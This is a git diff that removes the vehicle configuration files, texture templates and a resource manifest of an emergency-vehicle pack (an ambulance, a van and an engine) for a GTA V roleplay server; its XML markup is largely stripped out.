index 886e44b91..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_2.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_2.png
deleted file mode 100644
index ccd77d97c..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_2.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_3.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_3.png
deleted file mode 100644
index 52f4a8940..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_3.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_4.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_4.png
deleted file mode 100644
index 7ae3104d3..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/Presets/fseriesambo_sign_4.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/ambint_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/ambint_1.png
deleted file mode 100644
index 9e65aa8c6..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/ambint_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/temp1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/temp1.png
deleted file mode 100644
index 52fdcd36b..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/temp1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/temp2.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/temp2.png
deleted file mode 100644
index f4c4f130e..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/temp2.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/window_temp_ambo.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/window_temp_ambo.png
deleted file mode 100644
index 8056b9c4d..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/Templates/window_temp_ambo.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/carcols.meta
deleted file mode 100644
index 5b5618da3..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/carcols.meta
+++ /dev/null
@@ -1,1625 +0,0 @@
-
-
-
- -
-
- f450ambo
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
- 93427_f450ambo_modkit
-
- MKT_STANDARD
-
-
-
- f450ambo_horn1
- f450ambo_horn1
-
-
- VMT_BONNET
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- f450ambo_horn2
- f450ambo_horn2
-
-
- VMT_BONNET
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambosp_1
- ambosp_1
-
-
- VMT_CHASSIS4
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambosp_2
- ambosp_2
-
-
- VMT_CHASSIS4
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambosp_3
- ambosp_3
-
-
- VMT_CHASSIS4
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambosp_4
- ambosp_4
-
-
- VMT_CHASSIS4
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambosp_5
- ambosp_5
-
-
- VMT_CHASSIS4
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambosp_6
- ambosp_6
-
-
- VMT_CHASSIS4
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambosp_7
- ambosp_7
-
-
- VMT_CHASSIS4
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambosp_8
- ambosp_8
-
-
- VMT_CHASSIS4
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambosp_9
- ambosp_9
-
-
- VMT_CHASSIS4
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_plug2
- ambo_plug2
-
-
-
- misc_p
-
- VMT_INTERIOR5
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_plug3
- ambo_plug3
-
-
-
- misc_p
-
- VMT_INTERIOR5
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_plug4
- ambo_plug4
-
-
-
- misc_p
-
- VMT_INTERIOR5
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_plug5
- ambo_plug5
-
-
-
- misc_p
-
- VMT_INTERIOR5
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_plug6
- ambo_plug6
-
-
-
- misc_p
-
- VMT_INTERIOR5
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_cen1
- ambo_cen1
-
-
-
- misc_w
-
- VMT_INTERIOR4
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_cen2
- ambo_cen2
-
-
-
- misc_w
-
- VMT_INTERIOR4
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_cen3
- ambo_cen3
-
-
-
- misc_w
-
- VMT_INTERIOR4
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_ant1
- ambo_ant1
-
-
- VMT_WING_L
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_ant2
- ambo_ant2
-
-
- VMT_WING_L
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_ant3
- ambo_ant3
-
-
- VMT_WING_L
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_fsider
- ambo_fsider
-
-
-
- extra_4
-
- VMT_STEERING
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_seats1
- ambo_seats1
-
-
-
- misc_h
-
- VMT_SEATS
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_seats2
- ambo_seats2
-
-
-
- misc_h
-
- VMT_SEATS
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_seats3
- ambo_seats3
-
-
-
- misc_h
-
- VMT_SEATS
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_seats4
- ambo_seats4
-
-
-
- misc_h
-
- VMT_SEATS
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_seats5
- ambo_seats5
-
-
-
- misc_h
-
- VMT_SEATS
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_seats6
- ambo_seats6
-
-
-
- misc_h
-
- VMT_SEATS
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_seats7
- ambo_seats7
-
-
-
- misc_h
-
- VMT_SEATS
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- f450ambo_rearop2
- f450ambo_rearop2
-
-
-
- misc_o
-
- VMT_SKIRT
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- amno_in_2
- amno_in_2
-
-
-
- misc_m
-
- VMT_ENGINEBAY2
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- amno_in_3
- amno_in_3
-
-
-
- misc_m
-
- VMT_ENGINEBAY2
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- amno_in_4
- amno_in_4
-
-
-
- misc_m
-
- VMT_ENGINEBAY2
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- f450ambo_laptop2
- f450ambo_laptop2
-
-
-
- extra_7
-
- VMT_INTERIOR2
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_dell1
- ambo_dell1
-
-
-
- extra_7
-
- VMT_INTERIOR2
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_dell2
- ambo_dell2
-
-
-
- extra_7
-
- VMT_INTERIOR2
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- f450ambo_f550
- f450ambo_f550
-
-
-
- misc_f
-
- VMT_DOOR_L
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- ambo_sp2
- ambo_sp2
-
-
-
- extra_6
-
- VMT_ENGINEBAY3
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- f450ambo_cfrontbumper
- f450ambo_cfrontbumper
-
-
-
- bumper_f
-
- VMT_BUMPER_F
- bumper_f
- bumper_f
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- f450ambo_b2
- f450ambo_b2
-
-
-
- bumper_f
-
- VMT_BUMPER_F
- bumper_f
- bumper_f
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- f450ambo_b3
- f450ambo_b3
-
-
-
- bumper_f
-
- VMT_BUMPER_F
- bumper_f
- bumper_f
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- f450ambo_opticom
- f450ambo_opticom
-
-
- VMT_BUMPER_R
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- f450ambo_dashcam
- f450ambo_dashcam
-
-
- VMT_INTERIOR3
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- runningboards_f450ambo
- runningboards_f450ambo
-
-
- VMT_CHASSIS3
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- f450ambo_cgrill
- f450ambo_cgrill
-
-
-
- misc_g
-
- VMT_GRILL
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- f450ambo_lfturnsig
- f450ambo_lfturnsig
-
-
- f450ambo_rfturnsig
-
-
- - wing_lf
- - wing_rf
-
- VMT_SPOILER
- door_dside_f
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
- -
- f450ambo_xltb
- f450ambo_xltb
-
-
- f450ambo_xltscreen
-
-
- - misc_x
- - misc_z
-
- VMT_INTERIOR1
- chassis
- chassis
- VMCP_DEFAULT
-
-
-
-
-
-
-
-
- -
- f450ambo_rfturnsig
- door_pside_f
-
-
- -
- f450ambo_xltscreen
- chassis
-
-
-
-
-
--
- VMT_SKIRT
- Rear Box Option1
-
- -
- VMT_SPOILER
- Tow Mirrors
-
- -
- VMT_BONNET
- Horns
-
- -
- VMT_WING_L
- Antennas
-
- -
- VMT_INTERIOR2
- Laptops
-
- -
- VMT_INTERIOR4
- Siren Controller
-
- -
- VMT_BUMPER_R
- Opticom
-
- -
- VMT_DOOR_L
- Kussmaul Plug
-
- -
- VMT_STEERING
- Guide Poles
-
- -
- VMT_ENGINEBAY2
- Interior Colors
-
- -
- VMT_ENGINEBAY3
- Solar Panels
-
- -
- VMT_CHASSIS3
- Side Steps
-
- -
- VMT_CHASSIS4
- Siren Speakers
-
- -
- VMT_DOOR_L
- Badge
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/carvariations.meta
deleted file mode 100644
index f7ce35752..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/carvariations.meta
+++ /dev/null
@@ -1,110 +0,0 @@
-
-
-
-
- -
- f450ambo
-
-
-
-
- 111
- 0
- 1
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 111
- 0
- 1
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 111
- 0
- 1
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 111
- 0
- 1
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 111
- 0
- 1
- 156
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 93427_f450ambo_modkit
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/vehicles.meta
deleted file mode 100644
index 981a77661..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/f450ambo/vehicles.meta
+++ /dev/null
@@ -1,134 +0,0 @@
-
-
- vehshare
-
-
- -
- f450ambo
- f450ambo
- AMBULANCE
- f450ambo
-
- null
- null
- misc_rear
- misc_rear
-
- null
- AMBULANCE
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1500.000000
- 3000.000000
- 7000.000000
- 14000.000000
- 50000.000000
- 50000.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_ATTACH_TRAILER_ON_HIGHWAY FLAG_ATTACH_TRAILER_IN_CITY FLAG_HAS_LIVERY FLAG_EXTRAS_STRONG FLAG_EXTRAS_RARE FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_HAS_INTERIOR_EXTRAS FLAG_DONT_SPAWN_AS_AMBIENT FLAG_DONT_SPAWN_IN_CARGEN FLAG_NO_RESPRAY
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_TAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - traffictrailer
- - trailersmall
-
-
-
-
- - EXTRA_5
-
-
-
-
-
- EXTRA_5
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/23sprint_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/23sprint_sign_1.png
deleted file mode 100644
index d31a2ca3c..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/23sprint_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/Binder_Glitchcraft.dds b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/Binder_Glitchcraft.dds
deleted file mode 100644
index 490470551..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/Binder_Glitchcraft.dds and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/GlitchCraft_Window.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/GlitchCraft_Window.png
deleted file mode 100644
index 3add01635..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/GlitchCraft_Window.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/Lights_Template_Glitchcraft.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/Lights_Template_Glitchcraft.png
deleted file mode 100644
index 725f292e1..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/Template/Lights_Template_Glitchcraft.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/carcols.meta
deleted file mode 100644
index 031f695f4..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/carcols.meta
+++ /dev/null
@@ -1,756 +0,0 @@
-
-
-
- -
-
- gcVan
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/handling.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/handling.meta
deleted file mode 100644
index 05717a20c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/handling.meta
+++ /dev/null
@@ -1,67 +0,0 @@
-
-
-
-
- -
- gcVan
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/vehicles.meta
deleted file mode 100644
index e5f953673..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/vehicles.meta
+++ /dev/null
@@ -1,138 +0,0 @@
-
-
- vehshare
-
-
- -
- gcVan
- gcVan
- gcVan
- Freighliner
- SPRINTERL4FL
- null
- null
- null
- null
-
- null
- RUMPO
- LAYOUT_VAN_BOXVILLE
- YOUGA2_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_LOW
- DEFAULT_POV_CAMERA_LOOKAROUND_MID
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 20.000000
- 40.000000
- 90.000000
- 180.000000
- 750.000000
- 750.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_IS_VAN FLAG_POOR_CAR FLAG_AVERAGE_CAR FLAG_IS_BULKY FLAG_HAS_REAR_SEAT_ACTIVITIES FLAG_EXTRAS_REQUIRE FLAG_BIG FLAG_NO_BOOT FLAG_AVOID_TURNS FLAG_DELIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_EXTRAS_SCRIPT FLAG_PEDS_CAN_STAND_ON_TOP FLAG_IS_BULKY FLAG_BLOCK_FROM_ATTRACTOR_SCENARIO FLAG_INTERIOR_BLOCKED_BY_BOOT FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_FEROCI
- VC_EMERGENCY
- VWT_MUSCLE
-
-
-
-
- - EXTRA_1 EXTRA_2 EXTRA_3
-
-
-
-
-
-
- - EXTRA_1
-
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - VAN_YOUGA2_FRONT_LEFT
- - VAN_YOUGA2_FRONT_RIGHT
- - VAN_YOUGA2_REAR_LEFT
- - VAN_YOUGA2_REAR_RIGHT
-
-
-
-
- -
- vehicles_bob_brown_interior
- 23sprintl4fl
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/__resource.lua b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/__resource.lua
deleted file mode 100644
index 6b332aa52..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/__resource.lua
+++ /dev/null
@@ -1,14 +0,0 @@
-resource_manifest_version '44febabe-d386-4d18-afbe-5e627f4af937'
-
-files {
- 'carcols.meta',
- 'vehicles.meta',
- 'carvariations.meta'
-
-
-}
-data_file 'CARCOLS_FILE' 'carcols.meta'
-data_file 'VEHICLE_METADATA_FILE' 'vehicles.meta'
-data_file 'VEHICLE_VARIATION_FILE' 'carvariations.meta'
-
-client_script 'vehicle_names.lua'
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/carcols.meta
deleted file mode 100644
index b922eb13e..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/carcols.meta
+++ /dev/null
@@ -1,778 +0,0 @@
-
-
-
-
-
- -
-
- roseneng
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
